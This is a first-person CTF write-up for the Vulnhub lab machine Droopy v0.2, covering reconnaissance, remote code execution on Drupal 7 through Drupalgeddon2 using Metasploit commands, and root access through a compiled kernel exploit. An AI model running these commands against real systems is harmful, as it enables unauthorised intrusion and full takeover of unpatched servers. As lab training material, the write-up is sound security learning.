Vulnhub Droopy: v0.2

🛡️ My First CTF Writeup — From Foothold to Root!

Hello everyone,
Welcome to my very first CTF walkthrough! In this write-up, I’ll walk you through the steps I took to gain root access on the target machine. The process involves classic enumeration, exploiting a known vulnerability in Drupal, and finally escalating privileges using a kernel exploit.

---

🔍 1. Reconnaissance

I started with an aggressive Nmap scan to identify open ports and services on the target:

$ nmap -A -p- -Pn 192.xx.xx.xx

Nmap output (excerpt):

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 12:16 EDT
Nmap scan report for 192.xx.xx.xx
Host is up (0.00091s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to La fraude fiscale des grandes sociétés | La fraud...
|_http-generator: Drupal 7 (http://drupal.org)
MAC Address: 36:8B:24:B1:83:2A (Unknown)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop

First, when I saw port 80 open, I visited the site with a browser and inspected it. Using Wappalyzer I discovered it was running Drupal 7.

---

💥 2. Exploitation

Knowing the site ran Drupal 7, I searched for publicly available exploits. A quick search led me to Drupalgeddon2 (CVE-2018-7600) — a well-known remote code execution vulnerability.

I used Metasploit to exploit it:

msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.xx.xxx
set TARGETURI /
run

Success — I obtained a Meterpreter session (foothold).

---

🪜 3. Privilege Escalation

Once inside, I checked for common escalation vectors:

sudo -l
find / -perm -4000 -type f 2>/dev/null
uname -a

• sudo -l — nothing interesting.
• Checked for SUID binaries — nothing promising.
• uname -a revealed the kernel version (Linux 3.x) which suggested a vulnerable kernel.

I searched for local privilege escalation exploits for that kernel and found a known exploit (referenced as 37292.c).

I transferred the exploit to the target, compiled and ran it:

gcc 37292.c -o exploit
./exploit
# whoami
root

Boom — root.

✅ Conclusion

This box was a fun and educational challenge. Key takeaways:

• Thorough enumeration matters — the robots.txt, generator header, and service/version info quickly pointed to Drupal 7.
• Public exploits (e.g. Drupalgeddon2) can provide a fast foothold when the service is vulnerable.
• Privilege escalation often relies on OS/kernel weaknesses; keeping systems patched is critical.

Thanks for reading! Feel free to leave feedback or suggestions.

---